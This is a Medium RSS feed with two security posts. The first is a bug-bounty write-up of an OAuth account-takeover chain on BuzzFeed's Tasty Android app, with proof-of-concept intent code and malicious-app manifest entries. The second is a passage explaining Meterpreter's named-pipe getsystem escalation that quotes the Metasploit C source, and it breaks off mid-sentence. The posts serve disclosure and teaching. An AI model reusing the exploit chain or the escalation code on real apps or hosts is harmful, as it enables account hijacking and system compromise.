<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Farouk Nabil on Medium]]></title>
        <description><![CDATA[Stories by Farouk Nabil on Medium]]></description>
        <link>https://medium.com/@farouknapil?source=rss-84c309ab5b13------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*isz4F-c3ELVMoY2uKdLkrw.jpeg</url>
            <title>Stories by Farouk Nabil on Medium</title>
            <link>https://medium.com/@farouknapil?source=rss-84c309ab5b13------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Fri, 27 Nov 2026 22:27:24 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@farouknapil/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Account Takeover via OAuth Code Hijacking on BuzzFeed’s Tasty App: Chaining WebView ,  Deeplinks]]></title>
            <link>https://medium.com/@farouknapil/account-takeover-via-oauth-code-hijacking-on-buzzfeeds-tasty-app-chaining-webview-deeplinks-e2ff9a77b773?source=rss-84c309ab5b13------2</link>
            <guid isPermaLink="false">https://medium.com/p/e2ff9a77b773</guid>
            <category><![CDATA[oauth2]]></category>
            <category><![CDATA[account-takeover]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[android-webview]]></category>
            <category><![CDATA[android-pentesting]]></category>
            <dc:creator><![CDATA[Farouk Nabil]]></dc:creator>
            <pubDate>Mon, 11 May 2026 14:32:48 GMT</pubDate>
            <atom:updated>2026-05-11T14:32:48.012Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Account Takeover via OAuth Code Hijacking on BuzzFeed’s Tasty App: Chaining WebView Exploits, Cross-Platform Deeplinks, and Implicit Broadcasts</strong></p><p><strong>How a rejected URL validation bypass pushed me to reverse-engineer an entire exploit chain and how the vendor “patched” it by accidentally creating a logic paradox.</strong></p><h4><strong>Target Overview &amp; Timeline</strong></h4><p>Before diving into the technical exploit chain, here is a quick overview of the target and the timeline of the report:</p><ul><li><strong>Target Application:</strong> <a href="https://play.google.com/store/apps/details?id=com.buzzfeed.tasty&amp;hl=en">Tasty (by BuzzFeed)</a></li><li><strong>What it does:</strong> Tasty is a popular lifestyle and cooking application with over 10 million downloads, offering over 3,000 recipes, personalized meal recommendations, and step-by-step cooking videos.</li><li><strong>Affected Version:</strong> Android 1.85.0 (and 1.84.0)</li><li><strong>Report Submitted:</strong> September 27, 2023</li></ul><p>If you spend enough time hunting for vulnerabilities in mobile applications, you quickly learn that the Android operating system is a playground of interconnected components. Intents, deep links, content providers, and broadcast receivers are constantly talking to each other. The real art of mobile bug hunting isn’t just finding a single misconfiguration; it’s chaining multiple low-impact primitives into a devastating attack.</p><p>In 2023, I was analyzing BuzzFeed’s Tasty App (Android <strong>versions 1.84.0 and 1.85.0</strong>). What started as a simple, medium impact WebView validation bug eventually escalated into a chained, completely silent Account Takeover (ATO) utilizing an iOS application’s OAuth flow on an Android device.</p><p>Here is the full story of how that chain was built, why the vendor closed it as “Informative,” and a deep dive into the bizarre way they eventually patched it.</p><p><strong>Phase 1: The Initial Find (Improper Host Validation)</strong></p><p>When an external app sends an intent to this LauncherActivity with the action android.intent.action.VIEW and a data URI, the activity passes that data to a class named t7.i for validation. If it passes, the URL is loaded into SimpleWebViewActivity.</p><p>When I decompiled and analyzed the validation logic in t7.i, I found a classic, textbook parsing flaw:</p><pre>String authority2 = data.getAuthority();<br>if ((authority2 != null &amp;&amp; kotlin.text.t.u(authority2, &quot;tasty.co&quot;, false)) &amp;&amp; data.getPathSegments() != null &amp;&amp; data.getPathSegments().size() == 2) {<br>                                        String lastPathSegment = data.getLastPathSegment();<br>                                        String str9 = data.getPathSegments().get(0);<br>                                        if (Intrinsics.a(str9, TargetContentType.RECIPE)) {<br>                                            du.a.a(bm.l.f(&quot;Launching recipe page with slug: &quot;, lastPathSegment), new Object[0]);<br>                                            TastyMainActivity.c cVar8 = new TastyMainActivity.c();<br>                                            com.buzzfeed.tasty.detail.recipe.g gVar4 = new com.buzzfeed.tasty.detail.recipe.g(new Bundle());<br>                                            gVar4.g(lastPathSegment);<br>                                            gVar4.d(data);<br>                                            gVar4.f(uri);<br>                                            cVar8.c(new jb.o(gVar4.f13004a));<br>                                            intentArr = new Intent[]{cVar8.d(packageContext)};<br>                                        } else if (Intrinsics.a(str9, TargetContentType.COMPILATION)) {<br>                                            du.a.a(bm.l.f(&quot;Launching compilation page with slug: &quot;, lastPathSegment), new Object[0]);<br>                                            TastyMainActivity.c cVar9 = new TastyMainActivity.c();<br>                                            hb.a aVar4 = new hb.a(new Bundle());<br>                                            aVar4.g(lastPathSegment);<br>                                            aVar4.d(data);<br>                                            aVar4.f(uri);<br>                                            cVar9.c(new jb.f(aVar4.f13004a));<br>                                            intentArr = new Intent[]{cVar9.d(packageContext)};<br>                                        } else {<br>                                            du.a.a(&quot;Unable to handle the path: &quot; + str9 + &quot;. Launching url in browser. uri=&quot; + data, new Object[0]);<br>                                            intentArr2 = new Intent[]{S(data)};<br>                                        }<br>                                    } else {<br>                                        du.a.a(w0.c(&quot;Unable to handle the web link. Launching url in browser. uri=&quot;, data), new Object[0]);<br>                                        intentArr2 = new Intent[]{S(data)};<br>                                    }</pre><p>The vulnerability lies in how the application verifies the host. The code grabs the authority (hostname) of the incoming intent and uses a</p><pre>kotlin.text.t.u(authority2, &quot;tasty.co&quot;, false)</pre><p>Kotlin text utility to check if it simply <em>contains</em> the string &quot;tasty.co&quot;.</p><p>It does not check if the host <em>is exactly</em> tasty.co or a valid subdomain.</p><p>then the data send to method new Intent[]{S(data)};</p><pre>public final Intent S(Uri uri) {<br>        SimpleWebViewActivity.a aVar = new SimpleWebViewActivity.a();<br>        aVar.f15342a.putString(&quot;KEY_URL&quot;, uri.toString());<br>        Application context = this.f32469d;<br>        Intrinsics.checkNotNullParameter(context, &quot;context&quot;);<br>        Intent intent = new Intent(context, SimpleWebViewActivity.class);<br>        intent.putExtras(aVar.f15342a);<br>        return intent;<br>    }</pre><p>This meant an attacker could register a domain like tasty.co.attacker.com or https://www.abtasty.com, pass it via an intent to the LauncherActivity, and the Tasty app would forcefully load the attacker&#39;s website inside its own trusted WebView.</p><p>To prove this, I wrote a simple PoC Android app:</p><pre>Intent intent = new Intent(&quot;android.intent.action.VIEW&quot;);<br>intent.setClassName(&quot;com.buzzfeed.tasty&quot;,&quot;com.buzzfeed.tasty.LauncherActivity&quot;);<br>intent.setData(Uri.parse(&quot;http://tasty.co.localhost/poc.html&quot;));<br>startActivity(intent);</pre><p>When triggered, the Tasty app opened and loaded my HTML. This is a great vector for phishing credentials or payment info from a user who implicitly trusts the app context.</p><p>I submitted the report to their bug bounty program. A few days later, I received this response:</p><blockquote><strong>Confirmed by an Android engineer, but we do not consider it a security issue since nothing is exposed. Installing a malicious app to mislead the user via our app would not benefit the hacker beyond what a malicious app could already do. Generally, issues affecting mobile applications require a hostile application installed on the same victim’s device in order to be exploited. Therefore, the main vector when it comes to mobile vulnerabilities is indeed a third-party app.</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QwGwx4UhvikktOrKwbSLLw.png" /></figure><p>i read <strong><em>If you are able to leverage this into a practical exploitation scenario, we will be happy to reevaluate this report.</em></strong><em> so let’s leverage that.</em></p><p><strong>Phase 2: The Pivot to OAuth and the iOS Discovery</strong></p><p>They closed the report because they felt forcing a WebView to load a URL wasn’t impactful enough on its own. I needed to find a way to elevate this primitive into something undeniable.</p><p>I turned my attention to the app’s authentication mechanism.</p><p>in The AndroidManifest.xml</p><pre>&lt;activity android:exported=&quot;true&quot; android:name=&quot;com.auth0.android.provider.RedirectActivity&quot; android:theme=&quot;@android:style/Theme.Translucent.NoTitleBar&quot;&gt;<br>            &lt;intent-filter android:autoVerify=&quot;true&quot;&gt;<br>                &lt;action android:name=&quot;android.intent.action.VIEW&quot;/&gt;<br>                &lt;category android:name=&quot;android.intent.category.DEFAULT&quot;/&gt;<br>                &lt;category android:name=&quot;android.intent.category.BROWSABLE&quot;/&gt;<br>                &lt;data android:scheme=&quot;tasty2&quot;/&gt;<br>                &lt;data android:host=&quot;auth.tasty.co&quot; android:pathPrefix=&quot;/android/com.buzzfeed.tasty/callback&quot; android:scheme=&quot;https&quot;/&gt;<br>                &lt;data android:host=&quot;auth.stage.tasty.co&quot; android:pathPrefix=&quot;/android/com.buzzfeed.tasty/callback&quot; android:scheme=&quot;https&quot;/&gt;<br>            &lt;/intent-filter&gt;<br>        &lt;/activity&gt;</pre><p>Tasty uses Auth0 for OAuth. When you click “Sign In,” it redirects you to an Auth0 URL containing standard parameters, including the callback.</p><p>This is A deep link which open the directly by link : tasty2://auth.tasty.co/android/com.buzzfeed.tasty/callback</p><p>when you click on sing in the app will take you to link like that:</p><pre>https://auth.tasty.co/authorize?audience=https%3A%2F%2Fapi.tasty.co&amp;scope=openid%20profile%20email%20offline_access&amp;response_type=code....&amp;redirect_uri=tasty2%3A%2F%2Fauth.tasty.co%2Fandroid%2Fcom.buzzfeed.tasty%2Fcallback&amp;state=t3E7tOyTRnHzvglSLNcGEVIqMrRbcBFp4JzBQIZzaBw</pre><p>in the link you can see parameter called redirect_uri and the value is</p><p>redirect_uri=tasty2://auth.tasty.co/android/com.buzzfeed.tasty/callback</p><p>My immediate thought: What if I use my WebView exploit to force the app to load the Auth0 login page, but change the redirect_uri to an attacker-controlled scheme? If the user is already logged into the Tasty app, Auth0 would automatically generate the authorization code and send it to my scheme, stealing the session.</p><p>I tried modifying the parameter, but Auth0 had strict whitelisting in place. It rejected any custom URIs I threw at it.</p><h4>I was stuck.</h4><p>But then I realized that modern mobile applications often share the same backend, Auth0 client IDs, and configurations across platforms. I downloaded the Tasty iOS app, intercepted the traffic during its registration process, and found the missing piece of the puzzle.</p><p>The iOS app used a completely different deep link for its callback: com.buzzfeed.tasty://auth.tasty.co/ios/com.buzzfeed.tasty/callback</p><p><strong>Phase 3: The Cross-Platform Bypass</strong></p><p>Because the Auth0 backend whitelisted <em>both</em> the Android and iOS redirect URIs for the same Client ID, the Android Auth0 login page would happily accept the iOS redirect_uri if I injected it into the URL.</p><p>This was a massive breakthrough. It meant I could build a malicious Android app that registers the <strong>iOS</strong> deep link scheme:</p><pre>&lt;activity<br>            android:name=&quot;.MainActivity&quot;<br>            android:exported=&quot;true&quot;&gt;<br>            &lt;intent-filter&gt;<br>                &lt;action android:name=&quot;android.intent.action.MAIN&quot; /&gt;<br><br>                &lt;category android:name=&quot;android.intent.category.LAUNCHER&quot; /&gt;<br>            &lt;/intent-filter&gt;<br>            &lt;intent-filter android:priority=&quot;999&quot;&gt;<br>                &lt;action android:name=&quot;android.intent.action.VIEW&quot; /&gt;<br><br>                &lt;category android:name=&quot;android.intent.category.DEFAULT&quot; /&gt;<br>                &lt;category android:name=&quot;android.intent.category.BROWSABLE&quot; /&gt;<br><br>                &lt;data<br>                    android:host=&quot;auth.tasty.co&quot;<br>                    android:pathPrefix=&quot;/ios/com.buzzfeed.tasty/callback&quot;<br>                    android:scheme=&quot;com.buzzfeed.tasty&quot; /&gt;<br>            &lt;/intent-filter&gt;</pre><p>Since the legitimate Android Tasty app does not register the iOS scheme, my attacker app would be the <em>only</em> application on the Android device capable of handling that callback. There would be no “App Chooser” prompt to alert the victim. Complete, silent interception.</p><p><strong>Phase 4: Automating the Attack for a ATO</strong></p><p>Now I had all the primitives. I just had to chain them.</p><p>I used the <strong>first vulnerability</strong> (the rejected WebView Open Redirect) to force the Tasty app to load the Auth0 URL. But this time, I injected the iOS redirect_uri I discovered in Phase 2.</p><pre>Intent intent = new Intent(&quot;android.intent.action.VIEW&quot;);<br>intent.setClassName(&quot;com.buzzfeed.tasty&quot;,&quot;com.buzzfeed.tasty.LauncherActivity&quot;);<br>intent.setData(Uri.parse(&quot;https://auth.tasty.co/authorize?...&amp;redirect_uri=com.buzzfeed.tasty%3A%2F%2Fauth.tasty.co%2Fios%2Fcom.buzzfeed.tasty%2Fcallback...&quot;));<br>startActivity(intent);</pre><p><strong>The logic:</strong> When this intent fires, the Tasty app loads the Auth0 page. Then user authenticate, Auth0 instantly redirects the OAuth authorization code back to the iOS scheme deeplink. My malicious app catches it via the Intent Filter, and the account is compromised.</p><p><strong>Making it Silent:</strong></p><p>Requiring the attacker’s app to actively trigger the intent at a random time is noisy and unreliable. To make this attack practically invisible, I needed an event trigger.</p><p>While reversing the Tasty app further, I found that it broadcasts an implicit intent (com.buzzfeed.dustbuster.result) every single time the user performs an action within the application:</p><p>In n6.f You Will Find :</p><pre> try {<br>                ArrayList&lt;String&gt; arrayList3 = bVar.f17566b;<br>                Context context = this.f17558a;<br>                Intent intent = new Intent(&quot;com.buzzfeed.dustbuster.result&quot;);<br>                intent.putExtra(&quot;is_success&quot;, a10.f17569a);<br>                intent.putExtra(&quot;response_message&quot;, a10.f17570b);<br>                intent.putStringArrayListExtra(&quot;keys_sent&quot;, arrayList3);<br>                context.sendBroadcast(intent);<br>            } catch (Exception e11) {<br>                e = e11;<br>                eu.a.d(e, &quot;exception in httpClient.post()&quot;, new Object[0]);<br>                Context context2 = this.f17558a;<br>                Intent intent2 = new Intent(&quot;com.buzzfeed.dustbuster.result&quot;);<br>                intent2.putExtra(&quot;is_success&quot;, false);<br>                intent2.putExtra(&quot;response_message&quot;, &quot;exception in httpClient.post()&quot;);<br>                intent2.putExtra(&quot;keys_sent&quot;, new ArrayList());<br>                context2.sendBroadcast(intent2);</pre><p>The application sends implicit broadcast It contains event_uuid(keys_sent) that it sends to the dustbuster server whenever the user does any action in the application We can create a receiver that receives this broadcast and fires the attack whenever the user does any action in the application</p><pre>&lt;receiver<br>            android:name=&quot;.MyReceiver&quot;<br>            android:enabled=&quot;true&quot;<br>            android:exported=&quot;true&quot;&gt;<br>            &lt;intent-filter android:priority=&quot;999&quot;&gt;<br>                &lt;action android:name=&quot;com.buzzfeed.dustbuster.result&quot;/&gt;<br>            &lt;/intent-filter&gt;<br>        &lt;/receiver&gt;</pre><p>When he receives The broadcast he can fires our attack.</p><p><strong>The Final Automated Flow:</strong></p><ul><li><strong>Prerequisite 1:</strong> The victim has the malicious PoC app installed (which requests absolutely <strong>zero</strong> dangerous Android permissions).</li></ul><ol><li>The victim opens the Tasty app and interacts with it normally.</li><li>Tasty automatically fires the dustbuster.result broadcast in the background.</li><li>The malicious app wakes up, catches the broadcast, and fires the WebView exploit intent.</li><li>Tasty forcefully loads the Auth0 URL with the iOS callback.</li><li>When the user logged in, Auth0 automatically generates the code and bounces it to the iOS scheme.</li><li>The malicious app intercepts the code entirely in the background. <strong>Account Takeover complete.</strong></li></ol><h3><strong>The PoC Video:</strong></h3><p><a href="https://drive.google.com/file/d/1lqv4iFV1AgLVNtjiJOXZy_kOjbNFK3dI/view?usp=sharing">tasty_app_ATO_.m4v</a></p><h3><strong>The Attack Diagram Flow:</strong></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nAGT0WwFGn1xdPMSu9Lg8Q.png" /></figure><h3>The Conclusion: Still “Informative”</h3><p>I submitted the newly chained exploit. It bypassed their URL validation, abused a cross-platform misconfiguration in their OAuth whitelist, and leaked the authorization code silently via an implicit broadcast.</p><p>The response from the engineering team?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3ZGndCHi5CBSKVeKrAxhLQ.png" /></figure><blockquote>Confirmed by an Android engineer, but we do not consider it a security issue since nothing is exposed… Generally, issues affecting mobile applications require a hostile application installed on the same victim’s device in order to be exploited. Therefore, the main vector when it comes to mobile vulnerabilities is indeed a third-party app.</blockquote><p><strong>Closed as Informative.</strong></p><p>This highlights a massive disconnect in how some vendors view mobile threat models. The Android sandbox exists specifically to prevent malicious apps from reading the data of other apps. My PoC required no permissions no storage, no accessibility, no camera. It utilized the Tasty app’s own internal logic flaws to hijack the session. If an application’s security posture relies on the assumption that “any installed third-party app means the device is entirely compromised,” they are ignoring the fundamental architecture of the Android OS.</p><h3>Epilogue: The 2026 Patch and the Logic Paradox</h3><p>Fast forward to today. Out of curiosity, I recently pulled the latest APK to see if they ever actually fixed the underlying WebView validation flaw.</p><p>When I decompiled the new code, I found this updated logic:</p><pre>if ((URLUtil.isHttpsUrl(uri2) || URLUtil.isHttpUrl(uri2)) &amp;&amp; kotlin.text.t.s(authority, &quot;tasty.co&quot;, false)) {<br>    Intrinsics.checkNotNullParameter(data, &quot;&lt;this&gt;&quot;);<br>    String authority2 = data.getAuthority();<br>    <br>    if (authority2 == null || !kotlin.text.t.s(authority2, &quot;tasty.co&quot;, false)) {<br>        // Loads arbitrary URL in SimpleWebViewActivity<br>        Intent intent2 = new Intent(context, (Class&lt;?&gt;) SimpleWebViewActivity.class);<br>        // ...<br>    } else {<br>        // Native handling for recipes/compilations, or launches HOME<br>    }<br>}<br></pre><p>Instead of properly implementing strict host validation (e.g., authority.equals(&quot;tasty.co&quot;)), the developers added a new outer if wrapper.</p><p>Let’s look at what this code actually does:</p><ol><li>The outer loop requires that the authority <strong>DOES contain</strong> &quot;tasty.co&quot;.</li><li>The inner loop requires that the exact same authority (authority2) <strong>DOES NOT contain</strong> &quot;tasty.co&quot; to launch the SimpleWebViewActivity.</li></ol><p>Because a string cannot simultaneously contain and <em>not</em> contain &quot;tasty.co&quot;, <strong>they accidentally created a logical paradox.</strong> The execution block that loads the WebView is now completely unreachable (Dead Code).</p><p>If you send the old bypass payload (http://tasty.co.localhost)), the outer check passes, the inner check fails, and the app simply drops to the else block, which safely launches the native Home screen.</p><p>They technically mitigated the vulnerability not by properly securing the WebView, but by accidentally barricading the door to it entirely.</p><p>Except… if you find another way to force the WebView to load the URL again. Maybe by finding another vulnerability in the app!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e2ff9a77b773" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Deep Dive into the getsystem Command in Meterpreter and Its Implementation in C++]]></title>
            <link>https://medium.com/@farouknapil/deep-dive-into-the-getsystem-command-in-meterpreter-and-its-implementation-in-c-2da39c73d865?source=rss-84c309ab5b13------2</link>
            <guid isPermaLink="false">https://medium.com/p/2da39c73d865</guid>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[meterpreter]]></category>
            <category><![CDATA[c-plus-plus-language]]></category>
            <category><![CDATA[privilege-escalation]]></category>
            <dc:creator><![CDATA[Farouk Nabil]]></dc:creator>
            <pubDate>Fri, 22 Nov 2024 18:05:32 GMT</pubDate>
            <atom:updated>2024-11-22T18:05:32.780Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LREA-WfQBb5z_nQ0Vx6SyQ.png" /><figcaption>getsystem</figcaption></figure><p>Deep Dive into the getsystem Command in Meterpreter and Its Implementation in C++</p><h4>1. Prerequisites: Understanding Security Theory on Windows</h4><p>To fully grasp the getsystem command and its implementation, it&#39;s vital to understand how Windows handles <strong>security and access control</strong>. The key components include:</p><p><strong>1.1. Windows Security Principals</strong></p><ul><li><strong>Users</strong>: Represent human operators with assigned permissions and privileges.</li><li><strong>Groups</strong>: Collections of users for simplified permission management.</li><li><strong>SYSTEM Account</strong>: A highly privileged built-in account used for critical system operations. Processes running under this account have unrestricted access.</li></ul><p><strong>1.2. Security Identifiers (SIDs)</strong></p><ul><li>Unique identifiers assigned to users, groups, or processes.</li><li>Examples:</li><li><strong>S-1–5–18</strong>: SID for the SYSTEM account.</li><li><strong>S-1–5–32–544</strong>: SID for the Administrators group.</li></ul><p><strong>1.3. Access Tokens</strong></p><p>An <strong>access token</strong> is a data structure that defines the security context of a process or thread. It contains:</p><ul><li>edit<strong>User SID</strong>: Identifies the user or process owner.</li><li><strong>Group SIDs</strong>: Groups to which the user belongs.</li><li><strong>Privileges</strong>: Special rights assigned to the token (e.g., SeDebugPrivilege).</li><li><strong>Impersonation Level</strong>: Determines how a process or thread can act on behalf of another.</li></ul><p><strong>1.4. Privileges</strong></p><ul><li>Privileges define what system-level actions a process can perform. Examples:</li><li><strong>SeDebugPrivilege</strong>: Allows the process to debug other processes.</li><li><strong>SeAssignPrimaryTokenPrivilege</strong>: Enables the assignment of a new primary token.</li><li>Privileges must be enabled explicitly using Windows APIs (e.g., AdjustTokenPrivileges).</li></ul><p><strong>1.5. Impersonation</strong></p><ul><li><strong>Impersonation</strong>: Allows a thread to temporarily adopt another user’s security context.</li><li>Used extensively in <strong>named pipe impersonation</strong> to elevate privileges.</li></ul><h4>2. Overview of the getsystem Command in Meterpreter</h4><p>The getsystem command in Metasploit’s Meterpreter attempts to elevate the user’s privileges to SYSTEM level. It employs multiple techniques, trying each one in succession until successful. These techniques are based on exploiting the design of Windows security mechanisms.</p><p><strong>2.1. Why SYSTEM Access is Critical</strong></p><ul><li>SYSTEM-level access grants the ability to:</li><li>Modify sensitive OS configurations.</li><li>Access or manipulate all processes and files.</li><li>Bypass most access control mechanisms.</li></ul><p><strong>2.2. Methods Used by </strong><strong>getsystem</strong></p><p><strong>Named Pipe Impersonation</strong>:</p><ul><li>Exploits a legitimate Windows mechanism for inter-process communication.</li><li>Achieves SYSTEM privileges by impersonating the security context of a SYSTEM process communicating via named pipes.</li></ul><p><strong>Token Duplication</strong>:</p><ul><li>Finds a SYSTEM process, duplicates its token, and uses it to elevate the attacker’s context.</li></ul><h4>Well, there was a lot of definition and formal stuff, let’s get our hands dirty now and dive deep into the first technique Named Pipe Impersonation</h4><p><strong>TTP</strong>:</p><p>Create a named pipe and wait for a SYSTEM process to connect.</p><p>Use ImpersonateNamedPipeClient to adopt the SYSTEM security context.</p><p><strong>MITRE ATT&amp;CK Code</strong>: T1134.001 (Access Token Manipulation: Token Impersonation/Theft).</p><p><strong>APT Groups</strong>:</p><p><strong>APT29</strong>: Uses token theft and impersonation in their campaigns.</p><p><strong>FIN7</strong>: Employs impersonation techniques for lateral movement.</p><p>and more ,…</p><p>so what is <a href="https://learn.microsoft.com/en-us/windows/win32/ipc/named-pipes">Named Pipes</a>. let’s go to Microsoft</p><blockquote>A <em>named pipe</em> is a named, one-way or duplex pipe for communication between the pipe server and one or more pipe clients. All instances of a named pipe share the same pipe name, but each instance has its own buffers and handles, and provides a separate conduit for client/server communication. The use of instances enables multiple pipe clients to use the same named pipe simultaneously.</blockquote><blockquote>Any process can access named pipes, subject to security checks, making named pipes an easy form of communication between related or unrelated processes.</blockquote><p>The definition can’t be simpler.</p><h3>Key Concepts of Named Pipes</h3><ol><li><strong>Named Pipe</strong>: A named pipe has a specific name and can be accessed by multiple clients. It acts like a one-way or duplex (two-way) communication channel.</li><li><strong>Server Process</strong>: Creates and waits for a named pipe client connection.</li><li><strong>Client Process</strong>: Connects to an existing named pipe created by the server.</li><li><strong>Data Transmission</strong>: Data can be read from and written to the pipe in a way similar to reading and writing files.</li></ol><p>Ok, but how will I go from administrator to system. The attack simply depends on creating Named Pipe After that we set up a function that creates a service whose goal is to write something in this Named Pipe After that we will do impersonate for this Named Pip to get the token service connected to it that works with system privileges.</p><p>from the repository of metasploit-<a href="https://github.com/rapid7/metasploit-framework">framework</a> on github in <a href="https://github.com/rapid7/metasploit-framework/blob/master/documentation/modules/post/windows/escalate/getsystem.md">getsystem.md</a> documentation file we can see the next.</p><blockquote>Named Pipe Impersonation</blockquote><blockquote><strong>Side Effects:</strong> Creates a Service <strong>Requirements:</strong> Group: Local Administrators <strong>Versions:</strong> Windows XP / Server 2003 and later</blockquote><blockquote>This technique is classic named pipe impersonation where by a named pipe is opened on the target and a new service is created to connect to it. When started, the service’s configured command opens the named pipe as NT AUTHORITY\SYSTEM which allows the listening process (Meterpreter) to obtain those privileges by calling <a href="https://docs.microsoft.com/en-us/windows/win32/api/namedpipeapi/nf-namedpipeapi-impersonatenamedpipeclient">ImpersonateNamedPipeClient</a>.</blockquote><p>now let’s snap a code of <a href="https://github.com/rapid7/meterpreter/blob/master/source/extensions/priv/server/elevate/namedpipe.c">namedpipe.c</a> which a part of getsystem command in metasploit-framework.</p><p>The function elevate_via_service_namedpipe is one of the privilege escalation methods implemented in the Meterpreter extension. It exploits named pipe impersonation to elevate privileges from a local administrator to NT AUTHORITY\SYSTEM without requiring the SeDebugPrivilege.</p><pre>/*<br> * Elevate from local admin to local system via Named Pipe Impersonation. We spawn a cmd.exe under local <br> * system which then connects to our named pipe and we impersonate this client. This can be done by an <br> * Administrator without the need for SeDebugPrivilege.  Works on 2000, XP, 2003 and 2008 for all local <br> * administrators. On Vista and 7 it will only work if the host process has been elevated through UAC<br> * first. Does not work on NT4.<br> */<br>DWORD elevate_via_service_namedpipe( Remote * remote, Packet * packet )<br>{<br> DWORD dwResult              = ERROR_SUCCESS;<br> char * cpServiceName        = NULL;<br> THREAD * pThread            = NULL;<br> char cServiceArgs[MAX_PATH] = {0};<br> char cServicePipe[MAX_PATH] = {0};<br> OSVERSIONINFO os            = {0};<br><br> do<br> {<br>  os.dwOSVersionInfoSize = sizeof( OSVERSIONINFO );<br><br>  if( !GetVersionEx( &amp;os ) )<br>   BREAK_ON_ERROR( &quot;[ELEVATE] elevate_via_service_namedpipe: GetVersionEx failed&quot; )<br><br>  // filter out Windows NT4<br>  if ( os.dwMajorVersion == 4 &amp;&amp; os.dwMinorVersion == 0 )<br>  {<br>   SetLastError( ERROR_ACCESS_DENIED );<br>   BREAK_ON_ERROR( &quot;[ELEVATE] elevate_via_service_namedpipe: Windows NT4 not supported.&quot; )<br>  }<br><br>  cpServiceName = packet_get_tlv_value_string( packet, TLV_TYPE_ELEVATE_SERVICE_NAME );<br>  if( !cpServiceName )<br>   BREAK_WITH_ERROR( &quot;[ELEVATE] elevate_via_service_namedpipe. invalid arguments&quot;, ERROR_BAD_ARGUMENTS );<br><br>  _snprintf_s( cServicePipe, sizeof(cServicePipe), MAX_PATH, &quot;\\\\.\\pipe\\%s&quot;, cpServiceName );<br>  <br>  _snprintf_s( cServiceArgs, sizeof(cServiceArgs), MAX_PATH, &quot;cmd.exe /c echo %s &gt; %s&quot;, cpServiceName, cServicePipe );<br><br>  pThread = thread_create( elevate_namedpipe_thread, &amp;cServicePipe, remote, NULL );<br>  if( !pThread )<br>   BREAK_WITH_ERROR( &quot;[ELEVATE] elevate_via_service_namedpipe. thread_create failed&quot;, ERROR_INVALID_HANDLE );<br><br>  if( !thread_run( pThread ) )<br>   BREAK_WITH_ERROR( &quot;[ELEVATE] elevate_via_service_namedpipe. thread_run failed&quot;, ERROR_ACCESS_DENIED );<br><br>  Sleep( 500 ); // to-do: use signals to synchronize when the named pipe server is ready...<br><br>  // start the elevator service (if it doesnt start first time we need to create it and then start it).<br>  if( service_start( cpServiceName ) != ERROR_SUCCESS )<br>  {<br>   if( service_create( cpServiceName, cServiceArgs ) != ERROR_SUCCESS )<br>    BREAK_ON_ERROR( &quot;[ELEVATE] elevate_via_service_namedpipe. service_create failed&quot; );<br>   // we dont check a return value for service_start as we expect it to fail as cmd.exe is not<br>   // a valid service and it will never signal to the service manager that is is a running service.<br>   service_start( cpServiceName );<br>  }<br><br>  // signal our thread to terminate if it is still running<br>  thread_sigterm( pThread );<br>  <br>  // and wait for it to terminate...<br>  thread_join( pThread );<br><br>  // get the exit code for our pthread<br>  if( !GetExitCodeThread( pThread-&gt;handle, &amp;dwResult ) )<br>   BREAK_WITH_ERROR( &quot;[ELEVATE] elevate_via_service_namedpipe. GetExitCodeThread failed&quot;, ERROR_INVALID_HANDLE );<br>  <br> } while( 0 );<br><br> if( cpServiceName )<br> {<br>  service_stop( cpServiceName );<br>  service_destroy( cpServiceName );<br> }<br><br> if( pThread )<br>  thread_destroy( pThread );<br><br> return dwResult;<br>}</pre><h4>Key Variables</h4><ul><li>Remote *remote and Packet *packet: Objects used to handle communication with the Metasploit framework.</li><li>dwResult: Stores the final status/error code of the operation.</li><li>cpServiceName: The name of the service being manipulated for elevation.</li><li>cServiceArgs and cServicePipe: Command arguments and pipe paths for the service.</li></ul><h4>Steps in the Function</h4><pre>// Check OS Version:<br><br>if (!GetVersionEx(&amp;os))<br><br>    // -&gt; Retrieves the Windows version.<br>    // -&gt; Filters out unsupported versions like NT4.<br><br>// Named Pipe Setup:<br><br>_snprintf_s(cServicePipe, sizeof(cServicePipe), MAX_PATH, &quot;\\\\.\\pipe\\%s&quot;, cpServiceName);<br><br>    // -&gt; Creates a named pipe path for impersonation.<br>    // -&gt; The pipe is tied to the service name received from the Metasploit payload.<br><br>// Service Command Construction:<br><br>_snprintf_s(cServiceArgs, sizeof(cServiceArgs), MAX_PATH, &quot;cmd.exe /c echo %s &gt; %s&quot;, cpServiceName, cServicePipe);<br><br>    // -&gt; Builds the command to execute a cmd.exe process with the pipe connection.<br><br>// Thread Creation:<br><br>pThread = thread_create(elevate_namedpipe_thread, &amp;cServicePipe, remote, NULL);<br><br>    // -&gt; Spawns a new thread to handle the pipe impersonation logic.<br>    // -&gt; The thread runs independently to handle incoming connections.<br><br>// Service Interaction:<br><br>if (service_start(cpServiceName) != ERROR_SUCCESS)<br>{<br>    if (service_create(cpServiceName, cServiceArgs) != ERROR_SUCCESS)<br>}<br><br>   // -&gt;  Attempts to start the service with the constructed command.<br>   // -&gt;  If the service doesn&#39;t exist, it creates one and starts it.<br><br>// Pipe Impersonation:<br><br>// The created thread handles the actual impersonation when the cmd.exe process connects to the named 